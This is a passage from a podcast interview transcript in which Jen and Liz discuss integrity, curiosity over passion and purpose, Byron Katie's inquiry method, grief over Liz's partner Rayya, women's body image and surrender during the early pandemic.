of mine who’s a therapist said to me the other day, “All my clients who are in solitude are desperately lonely for human company, and all of my clients who are in isolation with their families are desperate for solitude.” I said, “Actually, I’m alone and I’m pretty happy.” Jen: “I pretty much know what I have here.” Liz: I’m listening to all my friends with their kids, and I’m like, “Oh my God! How are you surviving this?” Jen: Right. Right, because managing their disappointment, their loss, and their frustration [is a lot]. Of the four kids that are here of my five right now, two of them are seniors. I have a senior in college and a senior in high school, so they’re just like, “WTF, world?” Liz: Yeah, yeah. Poor things. Jen: Yeah. Shouldering their disappointment is such a bummer, but I’m so happy to hear that you’re well. I just knew that you would be, and I am thankful for what you’re going to say to us today. We’re in a series right now on the podcast called For the Love of Being Fierce, Free, and Full of Fire, and it’s largely about how women find the gumption to finally stop believing the whole identity and stereotype we were handed. We all know what it is. I knew what it was before I got out of kindergarten, about who we were supposed to be, definitely what we were supposed to look like, all of it. And [we are] setting it all aside and just being absolutely true and genuine. I mean this as sincerely as I possibly could, you are one of our best teachers about being a fully integrated person. I just know when I watch you, listen to you, and read everything you have to say that you are living in integrity. I know it. Every word out of your mouth, I can tell. I wonder if we could just start there. What does that look like to you? What that means to you? Why are you good at this? Why does integration seem to come really naturally to you? I would just love to hear your thoughts on that, because I think a lot of women listening today are in some state of disintegration, of course, which is very normal. Anyway, I’d just love to hear your leadership on that. Liz: Thanks for saying that. I feel very honored. I started laughing a little bit in the middle when you said, “Why does it come easily to you?” I was starting to laugh, because I was like, Oh. It hasn’t come easily, but it has come. It has come. I think the integrity has come to me because it turned out that I was so terribly, disastrously bad at living out of integrity. By that, I mean it breaks me and I die. I really do feel like I only have two switches. I’m like a toggle. I really only have two settings, and it’s either thriving or tanking. Yeah. There’s really not a lot of middle ground. I’m fifty, and the thing I’ve learned in my life is the tanking starts instantly as soon as I’m on the wrong path instantly, and it’s a fast tank. I really collapse. I get sick. I’m suddenly sobbing in the middle of the night. I can’t sleep. I can’t eat. My whole being shuts down. I now think of that as a really great gift, because as soon as my whole being starts to shut down, I know that I’ve taken a wrong turn. It’s a navigational tool, and I just have to abruptly pull the brake and be like, Oops! Oh, I thought this was a doorway to paradise, and now I’m in hell. Oh sorry. My misunderstanding. I thought I wanted A, and it turns out [to be B]. The only way, unfortunately, for me that I can find my integrity is often by going in the wrong direction and starting to tank until I correct the course. So it’s not easy. I wish there was a gentler practice that I could do it for, but it really has to kind of be tested out in the real world and in real time on my actual being, on my actual body. Jen: I really appreciate you saying that, because I’m thinking about the woman listening who is so deeply inside the space of essentially reading the room and giving it what it wants that she doesn’t yet know to trust her own body. That’s something I’ve learned in my forties is that, maybe more than any other entity on earth, my body is 100 percent team Jen. She always tells me. She always steers me right. She always sends up the warning signals. She’s never wrong. We just weren’t taught to trust ourselves, our instincts, intuition, gut, and even our physical bodies, when they are saying, “You know what? I’m just going to get sick until you listen to me.” I appreciate that you are able to link for us so clearly that some of those warning signs mean something. They mean something. They’re signals to us to get back into integrity, and that instantaneous switchover is so reassuring. What was your decade when you felt like that went from a loose idea or even an aspirational hope to something you were able to put into fairly regular practice? Liz: I think I’m just starting, honestly. It takes a really long time to figure out how to navigate a human life. I think of it this way; we’re dropped into these bodies, we’re dropped into this gender—which may or may not be one that you’re comfortable with—you’re dropped into a family of origin, and there’s that moment where you’re like, Really? This family? Jen: Yeah, totally! Liz: What? Jen: That’s real. Liz: You’re dropped into a particular culture, a particular moment in history, and a particular system. You’re basically let loose on this world like, “Okay, good luck.” With all of your weird engineering, your talents, your mental illnesses, your likes and dislikes, your nature, your nurture, all of this stuff happens, and then the task is to figure out how you operate this thing. How do you operate this system? The very first guess for most of us is, Do what they say. That’s for me, because I’m a pleaser. Jen: Me too. Liz: I think there’s a different kind of personality. My partner Rayya had a very different instinct, which was from the very beginning, Give them the middle finger and do exactly the opposite. Jen: Totally. Opposite. Liz: That led her through a whole different kind of suffering. Jen: That’s right. Liz: But for me, it sounds like it’s a good guess. A good guess is, Do what you’re told and make people happy, and then you’ll be alright. My God, I certainly did enough research in that category to find out that didn’t work, and that it had almost at times really literally almost cost me my life. It takes a minute. It takes decades to learn how to do it. Look, I just very recently ended a relationship that I was incredibly excited about, that I had dived into with the greatest of joy and then had to do a course correction very swiftly. There’s also a relationship I’ve established, with a voice inside of me, where it’s a friendship. I think it takes a very long time to learn how to create a friendship towards yourself. Self-love is a term that gets bandied around a lot. I feel like it’s very out of reach for a lot of people and very surreal almost, but I think most of us are good at being friends to others, the people who we really love. Like, [we have] a friendly sense of stewardship towards yourself, and a sense that, I’ve got Liz, and for whatever reason, the universe put her in my hands to take care of. And I like to think that they gave me her because they thought I could. They thought I could take care of her. I’ve come this far with her. I’m not going to roll her under the bus now. Jen: That’s great. Liz: We’ve been through a lot together, so it’s just this sense that if I don’t look out for her, no one is going to. Jen: That’s so good. Liz: I just had to. This little voice inside of me, while I was in this relationship said, “Please get me out of here.” Jen: Oh wow, gosh. Liz: “Please get me out of here,” and I’ve heard that voice before and made her stay. Jen: Totally. Liz: Made her stay in a new job, made her stay in a relationship, because we said we were going to do this, and we’re already in here this far. And the minute I heard that voice—and I mean the minute she said, “Please get me out of here”—the person who I was with had gotten up to go get a glass of water, and by the time they came back I was sitting on the edge of the couch saying, “I just want to let you know that this relationship is over.” Jen: Oh, you mean that minute. Yes. Liz: I mean that minute. I haven’t wavered from that, because she’s my responsibility, right? When that little one inside of me says, “I’m dying here, and I’m not getting what I need. I don’t want to stay,” I just don’t question her. I said to her, “I want to get you right out of here. I want to get you right out of here, sweetheart. It’s going to take a minute, because I got us in here really hard. There’s going to be some stuff to undo, but I’m okay. I’m a fifty year old woman. I can do it. I’m going to get us both out of here right now, because you’re my priority.” That’s something I didn’t know until very recently. Jen: Oh, that’s so good. Oh my goodness, that is bearing in my bones. When I think about you—and you’ve been so generous with the rest of us with your life, with your story, what you’re learning, and where you’re at—because most of us have been with you for some time now, we’ve gotten to kind of watch you walk through different seasons of your life and different iterations of who you were in that place and that time, and what you were learning and seeing. And so I’m curious—what does this right now, this season of life, look like for you? Inside of that, what are your highest values, and how are you working or wanting to make sure that those show up in the world right now? Liz: What a big question. Thank you for that. I think there’s two levels to it. So one is my intimate relationship with myself, and in that I include my relationship with divinity. I don’t really separate out too much with my relationship with myself. That’s a season for me of solitude and recovery, restoration of dignity, and really feeling like I need, want, and deserve a long season alone. And not in a way that feels like loneliness, but in a way that feels like a restoration project of self. I’ve given a lot of myself away to a lot of people over the years, and that’s okay. Those are choices that I made then, and there is much to be learned and loved in that, but it’s now not that time anymore. I don’t know how long that’s going to last, and I’m willing to go as long as it needs to. So there’s that. And then, on the social level, in terms of my sense of obligation to the world, there’s an understanding that I’m not going to be able to read accurately what my obligation to the world is if I’m not steady in my own mind. I often find myself with people saying, “Just give me a minute here.” So for instance, what’s happening right now with the Coronavirus is that all the really creative and initiative-driven people that I know are reaching out to me and saying, “I’m doing this in response to it. We want you to be a part of an idea. We’re doing that, and we want you to be on this.” I’ve been finding myself able to say, “Slow down for me. Your pace is terrific for you, and this is going to a marathon and not a sprint. I’m not going to an off-the-hip reaction. I want to make sure that I choose my reaction, because three months from now, six months from now, I still want to be stable. So just give me a moment, and I’ll come,” so there are things I’m joining and other things that I’m not. I think I’m trusting my role a little bit more, and that my role is a storyteller and to share what I have, whatever I’ve learned, and also resource-wise whatever I’ve got. Jen: That’s perfect. Liz: I love the phrase, “I store my grain in the belly of my neighbor.” It’s an Indian expression. It’s so beautiful. I’m figuring out what is the most effective way for me to store my grain in the belly of my neighbor, and that grain is not just money and resources—although it is that—it’s also whatever I’ve learned for emotional health. A few people are going to suffer physically from this virus, but a much higher number are going to suffer financially and economically, and a massive uncountable number are suffering already emotionally. Those are the ones who I want to talk to. Give me your anxious people. Jen: Yes! Yes. Liz: Give me the people whose minds are in trouble right now, because that’s a realm I’ve spent a lot of time with. You’re my people! You’re my people! Jen: I’m so glad that you are in this particular series, because over the last handful of years, I have been re-evaluating my place in the world and the way I want to use my voice in it. I’ve been watching very carefully for several years women who are doing life well, who are living authentically, who are living in integrity, which is why I’ve been paying attention to you for years. One of the many reasons why I really listen and look to you is this invitation that you’ve given us. It was something that you wrote in Big Magic which, by the way, I honestly think that I underlined every line in the whole book. I think I just underlined the whole thing, and I should have just skipped the exercise. It meant so much to me when you released it. But one thing you said inside Big Magic was to live a life that is more driven by curiosity than fear. I literally cannot explain to you how much that north star has been a part of my personal work the last few years. Can you talk about that idea for a moment? Because it’s not easy. That’s not an easy thing to do. How do we even just begin to peel back the power that fear has over us, and rather choose to expand our world through curiosity. Also, I’d love to hear why you think that’s such a challenge, particularly for women, and what the roadblocks are there. Liz: Yeah. I think—as you say—it’s not easy to live a curiosity-driven life, but the reason I offered it up as a possibility is because I think it’s a lot easier than living a passion-driven life or a purpose-driven life. If there’s nothing else that I can offer to women, it’s to just spare yourself from those two words. Jen: It’s so good. Liz: They’re brutal, and they’re shaming. Look, if you happen to be living a passion and purpose-driven life, then you have what I like to call “not a problem,” and I’m not concerned about you. Jen: That’s great. Liz: You’re fine. Just continue to do what you’re doing. Jen: Right. Scroll on. Liz: Yeah. Roll on. You’re good. I can’t wait to take your seminar. A lot of people—and this has been me at times—have struggled to figure out passion or have struggled to figure out purpose. Those two words, along with another word, balance. Oh my God! That’s another word that I think is used as a weapon, a cudgel for women to beat themselves up with. It’s just more words that show you that you’re not doing it right. There’s some particular way that you’re supposed to be living, and you’re not doing it right. I often think of this: If I were to tell you that you were born with one special gift and one special purpose that you were supposed to bring to the world, and that your job on this earth was to uncover what that purpose was, to nurture it, grow it with your talents, share it with the world, monetize it, and then to make the world a better place because of that, how many hives did you just get? Jen: Yeah. That’s pretty heavy. Liz: How much anxiety does that make you feel, and yet that’s literally the cultural message that every graduation message is. You know, this is what we’re being sold. We’re being sold that is what a life is, and all it does. Even telling you that, my body had an anxiety reaction. And so what I would love to do is kind of take people from purpose because of the fact that I don’t think you could ever really know for sure what your purpose is. This is one of the mysteries that’s not really yours to answer. You don’t know why you’re born. You don’t know what you came here to do. You can guess, but they’re just guesses. I have to tell you this story about how this one day I was in California, walking down the street, and I saw a man in front of his storefront. He had a ladder, and he was at the top of his ladder painting something on his store sign. The ladder was wavering, and I walked over. I thought, I don’t want that man to fall off the ladder, so I just held the ladder. He didn’t know I was there, but I just stood there for probably fifteen minutes and just held the ladder, because it just was an obvious thing to do in that moment. Then, I could see he was coming down, and I didn’t want to make him really uncomfortable, so I walked over. He never saw me. I walked away and I thought, What if that was the entire purpose of my life? I don’t know. What if every single other thing I’ve done was just killing time until the one purpose for which I was born, which was to hold that guy’s ladder for fifteen minutes? Jen: To keep that guy safe for fifteen minutes. Liz: Yeah. Who knows? I don’t know. It could be that, and even everything else like the books, the divorces, and all of this is just filling time until they needed me there at that moment. After I had that realization, I really just relaxed and thought, Sure. Maybe your purpose has been fulfilled. So now—and since you’ll never know what it is—what are you curious about? Why don’t you just do that?“I think that the words passion, purpose, and balance actually bring fear. When you’re talking about how to get on the other side of fear, I think those words encourage you to be afraid, because they present a sense of lack and that you should be doing more, you should be producing more, and you should be more successful. All of that stuff, I think, creates anxiety, but the word curiosity for me always makes me feel calm. It always makes me feel smiley, because it’s so gentle. Passion is the thing that says you have to shave your head, get divorced, move to India, start a foundation, and give a TED Talk. Curiosity just says, “I wonder what it would be like to take a pottery class for a day?” The stakes are so low, and that’s why it’s actually achievable. Curiosity is this very gentle and very simple impulse that causes you to turn your head a quarter of an inch, look at something a little more, and be like, Oh, that’s neat. What’s that? That person is kind of cool. What’s that?: It sure does, and it’s so soothing to hear you say that. I literally grew up inside the opposite metric, where not only were passion and purpose assumed, but that every one of us was born with this very teeny bull’s eye. Hope we find it! Good luck Liz: Good luck! Jen: “Find it!” Liz: “Change the world! No pressure!” Jen: There’s one little way you’re supposed to do it, and just really hope it all works out that you find that. But of course, inside of it was baked in this idea of it being full of merit, and that was honorable and noble. You’re right. It’s like a vise. It’s a vise. Liz: My throat is starting to close up just hearing you talk about that. Jen: Totally. Totally. I’m tickled thinking about the woman who is hearing you say that, and has never heard a person offer that kind of permission to live a life of curiosity—which, by the way, is chock full of meaning. We have this binary idea here. I can hear the objection, “But where is the meaning?” I’m like, “It’s full of meaning! Full of connection. Full of joy. Full of love. Full of being a good neighbor. That doesn’t cancel that out at all. It just releases the pressure.” Liz: Yeah. There’s this simpleness to it. And, you know, meaning is also a trap that we fall into. Meaning starts to just bring all the why questions. Why am I here? Why is this like this? Why did I have this loss? Why did I fail at that business? Why is this divorce happening? Why is he cheating on me? Why is she not listening to me? All of these why‘s, and it’s taken me this long to learn that the word why is just a trap door that opens up directly into hell. Jen: Gosh! Liz: It is just a portal right to hell. Jen: Straight to the belly of the beast. Liz: Right. Right in there. It’s like, “Oh wow! I asked a question that begins with why, and I looked up and I’m in hell. Wow. Amazing.” And I think meaning is one of those things, too. Again, I’m much more comfortable as I’m getting older with the two words can’t know. Can’t know. Can’t know what my meaning is. Can’t know what my purpose is, if any. I’m not even sure whether you’re supposed to have one. I don’t know. Can’t know. These are massive cosmic questions that are beyond me, but I can know what I’m curious about. I can know who I am fond of. My friend, Martha Beck, who I love so much, says, “If there is a secret to life, it is this: find people that you like, and do stuff with them.” Jen: I love it! That’s so great. Liz: Doesn’t that seem like a much more generous universe than purpose, passion, meaning, and transformation? Jen: Exactly. It sure does. Oh, I love that. Aside from Jen: Okay, guys, I want to take a little sec to sort of expand on something, there’s a saying here because it’s an idea I’ve been exploring myself to these past few years. It’s actually breathtaking how much our worlds expand when we decide that we are no longer going to guide our lives using a compass of fear. We decide to make decisions based on curiosity. Isn’t that such a great idea that we just talked about? Like curiosity, which is something I touched on in the introduction of Fierce, Free, and Full of Fire, which is out now. So here. I’m going to reach an excerpt from what I wrote in the intro. I discovered the world is hungry for women who show up and tell the truth unafraid and free, expanding to the very edges of who they were always meant to be. It’s that woman who brings her gifts to bear on this earth. Who takes ownership of her precious wiring and encourages her sisters to do likewise. That woman refuses to contort to a template, but rather occupies her own life as the recipient of God’s unending favor, not a beggar at his door. This kind of woman also wants this freedom for everyone else. I cannot overstate this important correlation and how necessary it is right now. She craves a genuine world, a more honest and sincere community, relationships based in truth telling to be refreshing to a parched world. She is not afraid of herself, so she is unafraid of others. She is fierce. She is free. She is full of fire. I am so glad that Liz is here to talk us through what a woman who is fierce and free or full of fire looks like and looks like for the world. All right. Let’s get back to our conversation. Jen: So I can look back with really grateful eyes, because I’ve had a life that’s been filled to the brim with strong women almost my whole life, like my mom, my grandma, and all of my bonus moms and grandmas, my sisters—I’ve got two sisters that are just as close as my own skin. Then, I’ve got daughters, and I have friends and colleagues that I just love so much. I’m so thankful, because I’ve learned so much from the women, and I get to serve them, too. We just love each other so well. But when I think about this sort of cacophony of women who have really imprinted me, I realize how different they all are. Their journeys, their decisions, their choices, their world views, and their experiences are wildly different from each other, so I do not have a type. I do not have a certain type of woman that I fill my coffers with. I’ve got everything from the most conventional, well-behaved woman to the rule-breaker, like we talked about earlier. I’m curious—when I think about you, who are some of the women? Of course, I’m sure it’s too long a list to list them all for both of us, but who are some of the women in your life—be it a long time ago or yesterday, I don’t care—that you would point to and say, “These women matter to me. These women really affected me or shaped the way that I am today”? Liz: I’m just instantly thinking about teachers. I’m such a student, and I remain such a student, so I think of the female teachers that I’ve had in the role of teacher. So that goes back to when I was nine years old, and I feel like I woke up intellectually at the age of nine, because my fourth grade teacher, Ms. Carpenter, was so electrifying. She was the first feminist I ever met. On the first day of school, she wrote on the board, “Ms. Carpenter,” and then her very first lesson to us was to teach us the meaning of what Ms. stood for and what it meant. Jen: That’s crazy! Liz: She just broke it down, and she’s like, “Men have always had a prefix to their name that did not indicate whether they were married or not, and now women have one, too.” And I was like, “Whoa!” I remember being nine and just being like, “How about that!” I really feel like it’s just such an awakening. She and I are still friends, and she’s turning eighty this year, actually. And we’ve become friends. I’m still friends with my fourth grade teacher who also introduced me to Ernest Hemingway and to poetry. She was such a fantastic educator. She didn’t think there was anything we couldn’t learn, so she taught us Latin, and she taught us the names of the stars, and she taught us about plants. We started a newspaper. We had a talent show. I did more in that one year than I probably did in the rest of my education until I was in college. She was extraordinary. Jen: How wonderful. Liz: She was kind of my first electrifying teacher, but my most recent electrifying teacher is Byron Katie. Do you know her work? Jen: I don’t. Liz: She’s extraordinary. She teaches a kind of work that’s called inquiry. She also calls it The Work, and it’s a very simple. Man, I feel like my life would have had a very different course if I’d known about this sooner, but it’s a way of sitting in inquiry with your mind’s most devastating, hurtful, anxiety-producing beliefs. Jen: Oh wow. Liz: And sitting in meditation on those beliefs and asking those beliefs four simple questions. So you take something that you’re believing, either about yourself or about the world that’s causing you anxiety, and you do what she calls a worksheet on it. She always says, “All war belongs on paper,” so you bring it to the paper. Then, you ask these four questions. The questions are, “Is it true? Can you absolutely know that it’s true? How do you react when you believe that it’s true? Who would you be without that belief?” Jen: Oh wow. Golly! Liz: It is a life-changing game changer. I recently took her. She teaches a nine-day school where she really deep dives into inquiry. Somebody there saw me, and they were like, “I can’t believe you’re at this school in the front row taking notes.” I’m like, “Why wouldn’t I be?!” Jen: Yes! Liz: I will sit at the feet of any master who’s got something for me. Why would I miss it if there was somebody who had this kind of really life-changing information and this to teach? Yeah, I’ll be right there in the front row, pencil sharpened. Jen: Wow! Liz: Just like I was on the first day of school. Jen: Is it too personal for me to ask if you had a specific belief on the altar of inquiry to pay attention to? Liz: I can tell you one that was really heartbreaking. My partner Rayya was dying when I was taking that class. A belief that I was having was causing me enormous suffering was a belief about what my life would be like after she died. Do you know how there’s just one sentence that you can put in your mind, and it will make you cry? Jen: Yes. Liz: So for me the sentence was—I can’t even tell you how much I used to love walking into rooms with Rayya on my arm, like the pride that I felt and the excitement that I felt about going into new situations and having her with me, the joy I felt in introducing her to people, watching her spark with people, watching her engage. I loved walking through the world with her, and I loved walking into the world with her. The sentence back then that was in me that was causing me so much grief was, “After Rayya dies, I will never be able to walk into a room with Rayya again,” because it was just me picturing myself alone and specifically entering into new situations without her. It was just devastating. And so I did a worksheet on that. “After Rayya dies, I will never be able to walk into a room with her again.” Is that true, and can I absolutely know that it’s true? I won’t lead you through the whole, How do I react when I believe that it’s true? Devastated. Who would I be without that belief? I won’t walk you through the entire course of inquiry, but when I sat with it—and you really just sit with it. You really ask the question, “Is it true? Can you absolutely know that it’s true?” and you let your mind lead you. That’s what I love about it. It is self-inquiry. You let consciousness show you the answer, and the answer that I was shown was, “I will never again walk into a room without her by my side.” Jen: That’s great. Liz: The exact opposite is true. I will never have to be without her, because what I saw was that she would be braided into me in a way that I’ve actually now experienced since her death, where I feel like I’ve become this creature who is a kind of combination of half of myself and half of her. And yeah, it’s true that there’s no such thing as walking into a room alone anymore, so there are things like that. Jen: Powerful. Liz: Yeah. It’s powerful. Game changers. Jen: Right. What was her name again? Liz: Byron Katie. Jen: Okay. Liz: B Y R O N Katie, K A T I E. Jen: Okay. We’ll make sure everybody has access to that. Thank you for sharing that teacher with us. I actually quoted you in Fierce. Not surprisingly, there’s actually a lot of ways that I could have done this, but I have a chapter called, “I Am Strong In My Body.” If I can point to one place where I’m still working on integration, it’s that. It’s the way that I have always felt about my body, what I was told to feel about my body, and how I was supposed to make her behave, look, and all that. I think this is a real common heartbreak for women. And you wrote something—you may not even remember this, Liz, because you wrote it on Instagram. It’s not even a book. You just were probably having this beautiful thought, and you sat down with your thumbs and pecked it out on your phone. It hit me between the eyes so hard that I screenshotted it, and I emailed it to myself, I emailed it to Brandon, my husband, in case I lost it. I’m like, “I don’t know what to do except I never ever want to not have these words in front of me again.” I’m going to read it to you, because this was at least three years ago, and it was just a post. You wrote on Instagram: I’ve lost the dark and particularly female talent for self-criticism and for tearing myself down. It feels like sacrilege. My mouth can’t force the hateful words, and I can’t bear it anymore to hear another woman demean, degrade, or diminish herself. It shocks my senses and hurts my heart. To witness a woman denying that she is beautiful is like watching someone set fire to an art museum. It’s like watching an angel drink gasoline. It’s like watching a phoenix rip off its wings. You wrote that, and it seared me. I put that word-for-word quote into that chapter on bodies, and I just wonder if you can speak into this a little bit. I’ll just be very honest that I’ve told my readers that when I got to the end of Fierce, and having really worked incredibly deeply through these various areas, this is the one that I still feel fragile on. This is the one that I still can see that I am not there. I can see that I have work to do and that I am not kind to my body yet in ways that she deserves. I just would love to hear you talk to us a little bit about that—that you wrote such profound, beautiful words and what you’ve learned from them. Liz: First of all, like, bathing you in mercy for the fact that you’re not there yet. Also, if you never get there, I love you anyway. Jen: Thank you. Liz: I don’t need you to have this thing fixed. I almost think that it might be too big for one person to fix. This is a massive, ancient, cultural disease. Jen: Yes, it is. Liz: It’s in the groundwater. It’s in the drinking water of everybody. So just mercy to yourself if you find it hard. It’s like lead poisoning. It’s in your system, you know? And it’s in the entire system. It’s just nowhere to be found, so you know, it might take a minute to detox from that. And you might never fully do it, and that’s all right, too. Transformation and healing are all well and good, but if you’re holding up a measuring stick to yourself saying, “There’s a place that I should be emotionally and spiritually, and I’m not there yet,” that’s also cruelty. Jen: Yes. You’re right. Liz: That is the first thing that I want to say. I think we have to somehow free ourselves one phoenix at a time. You know what it was that did it for me? It was being in love with a woman. Jen: Interesting. Liz: So I’ve been only in relationships with men for my whole life, and then I fell in love with Rayya. And I was in a sexual relationship with a woman for the first time. I was on the other side of the conversation that I’d been in for so much of my life, where I stand in front of a mirror and say terrible things about myself, and my partner tries to convince me that those things aren’t true. And I had to watch that, because Rayya had a lot of body issues. One of the things that broke my heart was that when she went on chemo and radiation, she gained weight. There are steroids and stuff that puff you up. She was so much more upset about that than she was about the fact that she was dying of cancer. Jen: Really? Gosh. Liz: I remember saying that. I called my friend Martha Beck, who is a friend of Rayya’s too, and I said, “How do I help her? This is insanity. She is so much more upset about the fact that she’s gained ten pounds than she’s upset about the fact that she’s got six months to live.” And Martha said, “Have you been living under a rock, Liz? Do you not know how many more women would rather die than gain ten pounds?” Jen: That’s right. Liz: “Do you not know, literally, what’s going on?” There was never a sight in this entire world, to me, that was more beautiful physically than Rayya, so the disconnect… It wasn’t like, “I love you despite the fact that you look like this.” To the end of my days, I will never see a sight more beautiful than that woman. This is what I meant by sacrilege. To have to sit in the toxic, absolute opposite world of looking at somebody who is literally the most gorgeous thing you’re ever going to see in your entire life, and hearing that person believe that they are ugly or lacking broke me in a way where I couldn’t do it anymore to myself. Jen: Wow. Liz: I just couldn’t. I was like, “I can’t play this game anymore. I just can’t play this game anymore, because something sees me the way I see Rayya.” It might not be another person, but it’s whatever made me sees me. It’s like, “No. I can’t violate that again. I just can’t.”So that’s what did it. It was the shock, awe, and horror. It would be like if Michelangelo’s David came to life and was like, “I’m such a cow.” Jen: Right. It’s just absurd. Liz: You’d be like, “What are you talking about?” Jen: It’s absolutely absurd. Liz: Not only that—for me, that beautiful creature was dying, and I knew that she was dying very soon. Not only do I have to listen to the most beautiful creature in the world say that she’s ugly, I also have to know that the most beautiful creature in the world is dying and some of her last thoughts are going to be, I’m ugly. I just can’t. It blasted me out of that entire world, and I’ve never been able to go back to it. I just can’t. Jen: Oh man. That has me flattened in my chair. As you’re speaking, I’m thinking of the little pockets of liberation I have from that destructive and hateful self talk. It also comes, and it’s similar when I look at my daughters. I’ve got a fourteen year old, and I have a nineteen year old. Exquisite. I mean, just absolutely exquisite from head to toe, the both of them. When I try to imagine them speaking to themselves the way I do, it breaks my heart. Liz: Can you even? Jen: It breaks my heart. Liz: Do you see what I mean? Jen: Yes I do. Liz: Sacrilege is the word. Jen: Yes. Liz: It’s like watching an art museum catch on fire. Yeah. It’s not okay. It’s not true. Jen: Thank you for talking about that. Liz: It’s not okay. Yeah. It’s not a scorning or a condemnation that I feel if anyone is still doing that. It’s a heartbreak, and it’s a heartbreak that feels like a violation of beauty itself. Jen: Boy, I would love to see our generation lay that down. Wouldn’t that be something? I can’t even really imagine a whole generation of women who refused to hate themselves like everybody wants us to, or refuses to hate our bodies. It just feels so incredibly powerful that I almost don’t have imagination for what could live on the other side of that. We’ve never seen it. It’s never been done. There is no precedence for it, but boy, I would love to be a part of that. Liz: Yeah. Jen: So obviously—we kind of talked about this in the beginning—it’s just a weird time right now. It’s twilight zone time in our world. Our parents and grandparents experienced something like that probably after the war or during the war, this big outside force that’s outside of control and yet affecting every single bit of our lives. We’ve got this pandemic, and it reminds me of one of the ideas that you explored in City of Girls, and I think probably my favorite idea from City of Girls was that you don’t have to be a good girl to be a good person. I just want to tattoo that down my thigh, because it goes to the core of what I was told to be and how to be. Also, this idea that “life is both dangerous and fleeting, and there’s no point in denying yourself pleasure or being anything other than what you are.” That just strikes at the core of it all. I’m curious―you obviously wrote those words way before this moment, but they have a lot of relevance right now. I’m wondering your thoughts on pairing up some of the wisdom that you uncovered there in City of Girls with where we are finding ourselves right this minute. Liz: There’s another line in City of Girls where a man who Vivian loves very much says to her, “The world ain’t straight. The world ain’t straight, Vivvie. The world ain’t straight.” You grow up a certain way, thinking that things are going to be a certain way, and it’s not. That’s what I’m seeing. The shock that I’m seeing rippling across the world right now at the beginning of this pandemic is the shock of people suddenly feeling like they’re out of control, when what I see is you were never in control. You were never in control. The world is doing what a world does. The world is just being itself, and that’s all it’s doing. It’s doing it perfectly, because what the world does is change every second. That’s what the world does, and that’s what it’s always done. It’s just that we’ve managed through our technology, through our stubbornness, and through our terror to create little bubbles where we can pretend not to know that. We can pretend to forget that, because it’s so frightening. It’s so frightening to think, How do you live in a world that changes every second? The greatest and most terrifying thing about human life is the awareness that literally anything can happen at literally any moment to literally anybody. Jen: That’s right. Liz: That’s actually the reality of life. Jen: It is. Liz: You get shocked when you find it out in a big way, but it never isn’t true. There’s something that I wrote on Instagram recently saying, “Nobody wants to surrender, because nobody wants to lose control, but you never had control. All you had was anxiety. All you had was anxiety.” And so I feel like every single spiritual practice that I’ve done over my life, all the creative practices that I’ve done, all the stuff that I’ve learned in relationships, and everything I’ve ever struggled through has been in preparation for me for this moment, which is, Oh! It’s surrender time. Oh, it’s surrender time. Oh, got it! Oh, right. I forgot that I don’t drive this vehicle. The paradox of surrender. I think anybody who’s been through addiction knows that this is how sobriety begins, it’s such a paradox. The great paradox of surrender is how relaxing it is. You don’t want to let go of control because of this misunderstanding that you have that says, “If I can manage everything and get everything in order, then everything will be safe and everything will be okay.” Jen: Of course! Liz: When you drop that, all of a sudden you drop your whole body into this state of tremendous release and tremendous relaxation. My dear friend, life has spent its time with me teaching me that again and again and again and again. It will teach me that as many times as it has to until I let go of the steering wheel that was never attached to the car. I’m gripping the steering wheel thinking that I’m steering, but it’s actually not attached to anything. Jen: Right. That’s a great metaphor. Liz: I’m holding on to it like, “I’m going to keep this family safe! and I’m going to keep these people! And I’m going to fix…” Jen: Yeah. Right. It’s an illusion. Liz: It’s an illusion, and it’s an understandable one. The other great paradox in human life is that there’s no species on earth who has more anxiety than humans. We are totally anxiety-driven, and that anxiety is all about our fear of the future. It’s all about how terrified we are of change, because we know that literally anything can happen to literally anybody at literally any moment, and that’s fairly frightening. And so we spend our lives in anxiety dreading that happening. But the paradox is that there’s no other species on earth who’s actually better at change than we are, because humans are so incredibly resourceful, so incredibly adaptive, and so incredibly resilient. We have resources, we have adaptation, we have resilience. And when change comes, what history has shown is, we adapt and we’re really good at it. We hate the idea of it, and I actually think that the idea and the terror and panic of it causes us more suffering than the actual thing that comes. Jen: That’s right, because then we face it and just get busy. Liz: Then we’re like, “Okay. Well, this is the reality,” so when the reality hits, people mobilize. Jen: That’s true. Liz: They’re really good, and you hear that in the really intense moments. You hear that if you’ve ever listened to the recordings of the voicemail messages that people were leaving for their family members from the towers on September eleventh, when they knew that they were going to die. You listen to the tone of those voices, and you hear what humanity can do. They’re calm, they know what’s important, and they’re taking the time to deliver that important piece of information. They have their wits about them. They’re deeply able to be in that moment—even that moment. I know that you’ve probably experienced this in your life in times of great emergency. When the emergency comes, you find the ability within you to rise to it. If we only trusted that, we wouldn’t have to be quite as terrified, because then we would just know that, I don’t know what’s coming. I will never be able to know what’s coming. I will never be able to control what’s coming. But so far everything that’s ever hit me in my life, when that moment asked me to show up for it, I did, because I’m still here. Jen: That’s right. We’ve survived every day thus far. Liz: Everything so far. Jen: Yeah. Liz: And so I’m just going to relax in knowing that I will be told what to do in that instant, which is something that I felt when Rayya was dying and I released control. I remember sitting with her when she was very ill and knowing that she could die literally at any minute, and feeling this awareness that, When there’s a job for me I will be told. And when that job is given to me, I’ll do it. And until then, I don’t do anything. That, again, goes back to the pause that I spoke about earlier when people are coming at me with all of their ideas and their initiatives. “We’re going to change the world this way and that way.” I’m like, “Slow down, because one of these things might be the thing that I’m supposed to be doing, but I’m going to need to get very still to feel and know, Okay, this is actually the thing I’m going to respond to. I’m not just going to knee jerk and react, react, react. And I’m going to trust that.” Whatever I write in my journal to myself from love, love always says to me, “When we’ve got something for you to do, you’ll be reminded. You’ll be the first to know.” Jen: Until then, just go take a walk, make some dinner. Liz: Until then, do the hardest thing in the world, which is nothing. Jen: Yeah. That feels so relieving. It feels like a nice relief, because you’re right. We know when the job is at hand. That part is not ambiguous. That part always presents itself pretty clearly. The rest of it’s just wasted energy. It’s wasted fear, and wasted worry. Liz: The rest of it is just panic. The trust that I would love for people to cultivate is not a trust in the world to be safe and stable, because the world has shown us many times that it’s not. We’re all grown ups here, so I’m not going to say, “Trust that nobody will get hurt.” We know that’s not true. But what you can trust is that you’ll be told what to do when the time comes. And don’t try to plan it too hard, because you don’t know what the catastrophe is. At any given moment, there are like twenty catastrophes that could mobilize against us. Just a few months ago, I was in India traveling, and I wasn’t paying much attention to the news. I just glanced at the headlines, and I started laughing because it was literally five catastrophic headlines. It was like, “Iran has nuclear weapon power now. Major earthquake here in this place. Coronavirus just started. Asteroid comes very close to earth’s orbit.” I was like, “Yeah. This is just a Tuesday on earth,” and that’s not even taking into account all of the individual catastrophes that are going on in your personal life. We don’t know which one of those is 